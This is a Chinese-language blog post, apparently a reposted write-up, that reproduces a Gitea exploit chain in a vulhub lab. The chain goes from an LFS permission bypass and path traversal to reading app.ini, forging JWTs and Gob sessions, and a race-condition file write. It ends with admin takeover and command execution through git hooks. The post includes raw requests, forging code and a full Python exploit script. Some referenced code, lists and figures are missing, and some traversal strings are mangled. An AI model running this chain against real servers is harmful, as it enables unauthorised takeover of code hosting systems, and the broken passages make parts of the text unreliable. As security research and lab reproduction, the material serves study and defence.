Kate Li (Taiwan)的部落格

首頁

gitea遠程命令執行漏洞鏈

作者 urbin 時間 2020-03-11
all

作者:

@周佩雨

[ Phith0n,現就職於長亭科技,長期關注並筆耕於安全編碼、程式碼稽核等方向]

這是一個非常漂亮的漏洞鏈,很久沒見過了。我用docker來複現並學習這個漏洞,官方提供了docker鏡像,vulhub也會上線這個環境。

漏洞一、邏輯錯誤導致許可權繞過

在modules/lfs/server.go檔案中,PostHandler是POST請求的處理函數:

可見,其中間部分包含對許可權的檢查:

if !authenticate(ctx, repository, rv.Authorization, true) { requireAuth(ctx) }

在沒有許可權的情况下,僅執行了requireAuth函數:這個函數做了兩件事,一是寫入WWW-Authenticate頭,二是設定狀態碼為401。也就是說,在沒有許可權的情况下,並沒有停止執行PostHandler函數。所以,這裡存在一處許可權繞過漏洞。

漏洞二、目錄穿越漏洞

這個許可權繞過漏洞導致的後果是,未授權的任意用戶都可以為某個項目(後面都以vulhub/repo為例)創建一個Git LFS對象。

這個LFS對象可以通過http://example.com/vulhub/repo.git/info/lfs/objects/[oid]這樣的介面來訪問,比如下載、寫入內容等。其中[oid]是LFS對象的ID,通常來說是一個雜湊,但gitea中並沒有限制這個ID允許包含的字元,這也是導致第二個漏洞的根本原因。

我們利用第一個漏洞,先發送一個數据包,創建一個Oid為……/../../etc/passwd的LFS對象:

POST /vulhub/repo.git/info/lfs/objects HTTP/1.1 Host: your-ip:3000Accept-Encoding: gzip, deflate Accept: application/vnd.git-lfs+json Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 151 { "Oid": "....../../../etc/passwd", "Size": 1000000, "User" : "a", "Password" : "a", "Repo" : "a", "Authorization" : "a" }

其中,vulhub/repo是一個公開的項目。

見下圖,發送數据包後,雖然返回了401狀態碼,但實際上這個LFS對象已經創建成功,且其Oid為……/../../etc/passwd。

第二步,就是訪問這個對象。訪問方法就是GET請求http://example.com/vulhub/repo.git/info/lfs/objects/[oid]/sth,oid就是剛才指定的,這裡要用url編碼一下。

那麼,我們來看看為什麼讀取到了/etc/passwd檔案。

程式碼modules/lfs/content_store.go:

可見,meta.Oid被傳入transformKey函數,這個函數裏,將Oid轉換成了key[0:2]/key[2:4]/key[4:]這樣的形式,前兩個、中間兩個字元做為目錄名,第四個字元以後的內容作為檔名。

那麼,我創建的Oid為……/../../etc/passwd,在經過transformKey函數後就變成了../../../../../etc/passwd,s.BasePath是LFS對象的基礎目錄,二者拼接後自然就讀取到了/etc/passwd檔案。

這就是第二個漏洞:目錄穿越。

漏洞三、讀取設定檔,構造JWT密文

vulhub/repo雖然是一個公開項目,但默認只有讀許可權。我們需要進一步利用。

我們利用目錄穿越漏洞,可以讀取到gitea的設定檔。這個檔在$GITEA_CUSTOM/conf/app.ini,$GITEA_CUSTOM是gitea的根目錄,默認是/var/lib/gitea/,在vulhub裏是/data/gitea。

所以,要從LFS的目錄跨越到$GITEA_CUSTOM/conf/app.ini,需要構造出的Oid是….gitea/conf/app.ini(經過轉換後就變成了/data/gitea/lfs/../../gitea/conf/app.ini,也就是/data/gitea/conf/app.ini。原漏洞作者給出的POC這一塊是有坑的,這個Oid需要根據不同$GITEA_CUSTOM的設定進行調整。)

成功讀取到設定檔(仍需先發送POST包創建Oid為….gitea/conf/app.ini的LFS對象):

設定檔中有很多敏感資訊,如資料庫帳號密碼、一些Token等。如果是sqlite資料庫,我們甚至能直接下載之。當然,密碼加了salt。

Gitea中,LFS的介面是使用JWT認證,其加密金鑰就是設定檔中的LFS_JWT_SECRET。所以,這裡我們就可以用來構造JWT認證,進而獲取LFS完整的讀寫許可權。

我們用python來生成密文:

import jwt import time import base64 def decode_base64(data): missing_padding = len(data) % 4 if missing_padding != 0: data += '='* (4 - missing_padding) return base64.urlsafe_b64decode(data) jwt_secret = decode_base64('oUsPAAkeic6HaBMHPiTVHxTeCrEDc29sL6f0JuVp73c') public_user_id = 1 public_repo_id = 1 nbf = int(time.time())-(60*60*24*1000) exp = int(time.time())+(60*60*24*1000) token = jwt.encode({'user': public_user_id, 'repo': public_repo_id, 'op': 'upload', 'exp': exp, 'nbf': nbf}, jwt_secret, algorithm='HS256') token = token.decode() print(token)

其中,jwt_secret是第二個漏洞中讀取到的金鑰;public_user_id是項目所有者的id,public_repo_id是項目id,這個項目指LFS所在的項目;nbf是指這個密文的開始時間,exp是這個密文的結束時間,只有當前時間處於這兩個值中時,這個密文才有效。

漏洞四、利用條件競爭,寫入任意檔案

現在,我們能構造JWT的密文,即可訪問LFS中的寫入檔案介面,也就是PutHandler。PUT操作主要是如下程式碼:

整個過程整理如下:

因為我們需要寫入任意檔案,所以Oid一定是能够穿越到其他目錄的一個惡意字串,而一個檔案的雜湊(sha256)卻只是一個HEX字串。所以上面的第5步,一定會失敗導致退出,所以不可能執行到第6步。也就是說,我們只能寫入一個尾碼是“.tmp”的暫存檔案。另外,作者用到了defer os.Remove(tmpPath)這個語法。在go語言中,defer代表函數返回時執行的操作,也就是說,不管函數是否返回錯誤,結束時都會删除暫存檔案。

所以,我們需要解决的是兩個問題:

我們先思考第二個問題。漏洞發現者給出的方法是,利用條件競爭。

因為gitea中是用流式方法來讀取數据包,並將讀取到的內容寫入暫存檔案,那麼我們可以用流式HTTP方法,傳入我們需要寫入的檔案內容,然後掛起HTTP連接。這時候,後端會一直等待我傳剩下的字元,在這個時間差內,Put函數是等待在io.Copy那個步驟的,當然也就不會删除暫存檔案了。

那麼,思考第一個問題,.tmp為尾碼的暫存檔案,我們能做什麼?

漏洞五、偽造session提升許可權

這裡面有幾個很重要的點:

Gob是Go語言獨有的序列化方法。我們可以編寫一段Go語言程式,來生成一段Gob編碼的session:

package main import ( "fmt" "encoding/gob" "bytes" "encoding/hex" ) func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) { for _, v := range obj { gob.Register(v) } buf := bytes.NewBuffer(nil) err := gob.NewEncoder(buf).Encode(obj) return buf.Bytes(), err } func main() { var uid int64 = 1 obj := map[interface{}]interface{} {"_old_uid": "1", "uid": uid, "uname": "vulhub" } data, err := EncodeGob(obj) if err != nil { fmt.Println(err) } edata := hex.EncodeToString(data) fmt.Println(edata) }

其中,{“_old_iod”:“1”,“uid”:uid,“uname”:“vulhub”}就是session中的數據,uid是管理員id,uname是管理員用戶名。編譯並執行上述程式碼,得到一串hex,就是偽造的數據。

接著,我寫了一個簡單的Python腳本來進行後續利用(需要Python3.6):

import requests import jwt import time import base64 import logging import sys import json from urllib.parse import quote logging.basicConfig(stream=sys.stdout, level=logging.DEBUG) BASE_URL = 'http://your-ip:3000/vulhub/repo' JWT_SECRET = 'AzDE6jvaOhh_u30cmkbEqmOdl8h34zOyxfqcieuAu9Y' USER_ID = 1 REPO_ID = 1 SESSION_ID = '11vulhub' SESSION_DATA = bytes.fromhex('0eff81040102ff82000110011000005cff82000306737472696e670c0a00085f6f6c645f75696406737472696e670c0300013106737472696e670c05000375696405696e7436340402000206737472696e670c070005756e616d6506737472696e670c08000676756c687562') def generate_token(): def decode_base64(data): missing_padding = len(data) % 4 if missing_padding != 0: data += '='* (4 - missing_padding) return base64.urlsafe_b64decode(data) nbf = int(time.time())-(60*60*24*1000) exp = int(time.time())+(60*60*24*1000) token = jwt.encode({'user': USER_ID, 'repo': REPO_ID, 'op': 'upload', 'exp': exp, 'nbf': nbf}, decode_base64(JWT_SECRET), algorithm='HS256') return token.decode() def gen_data(): yield SESSION_DATA time.sleep(300) yield b'' OID = f'....gitea/sessions/{SESSION_ID[0]}/{SESSION_ID[1]}/{SESSION_ID}' response = requests.post(f'{BASE_URL}.git/info/lfs/objects', headers={ 'Accept': 'application/vnd.git-lfs+json' }, json={ "Oid": OID, "Size": 100000, "User" : "a", "Password" : "a", "Repo" : "a", "Authorization" : "a" }) logging.info(response.text) response = requests.put(f"{BASE_URL}.git/info/lfs/objects/{quote(OID, safe='')}", data=gen_data(), headers={ 'Accept': 'application/vnd.git-lfs', 'Content-Type': 'application/vnd.git-lfs', 'Authorization': f'Bearer {generate_token()}' })

這個腳本會將偽造的SESSION數據發送,並等待300秒後才關閉連接。在這300秒中,服務器上將存在一個名為“11vulhub.tmp”的檔案,這也是session id。帶上這個session id,即可提升為管理員。

漏洞六、利用HOOK執行任意命令

帶上i_like_gitea=11vulhub.tmp這個Cookie,我們即可訪問管理員帳戶。

然後隨便找個項目,在設定中配寘Git鉤子。Git鉤子是執行git命令的時候,會被自動執行的一段腳本。比如我這裡用的pre-receive鉤子,就是在commit之前會執行的腳本。我在其中加入待執行的命令touch /tmp/success:

然後在網頁端新建一個檔案,點提交。進入docker容器,可見命令被成功執行:

一些思考

整個漏洞鏈非常流暢,Go Web端的程式碼稽核也非常少見,在傳統漏洞越來越少的情况下,這些好思路將給安全研究者帶來很多不一樣的突破。不過漏洞作者給出的POC實在是比較爛,基本離開了他自己的環境就不能用了,而且我也不建議用一鍵化的漏洞利用腳本來複現這個漏洞,原因是這個漏洞的利用涉及到一些不確定量,比如:

另外,複現漏洞的時候也遇到過一些坑,比如gitea第一次安裝好,如果不重啓的話,他的session是存儲在記憶體裏的。只有第一次重啟後,才會使用檔案session,這一點需要注意。如果目標系統使用的是sqlite做資料庫,我們可以直接下載其資料庫,並拿到他的密碼雜湊和另一個隨機字串,利用這兩個值其實能直接偽造管理員的cookie(名為gitea_incredible),這一點我就不寫了,大家可以自己查看檔案。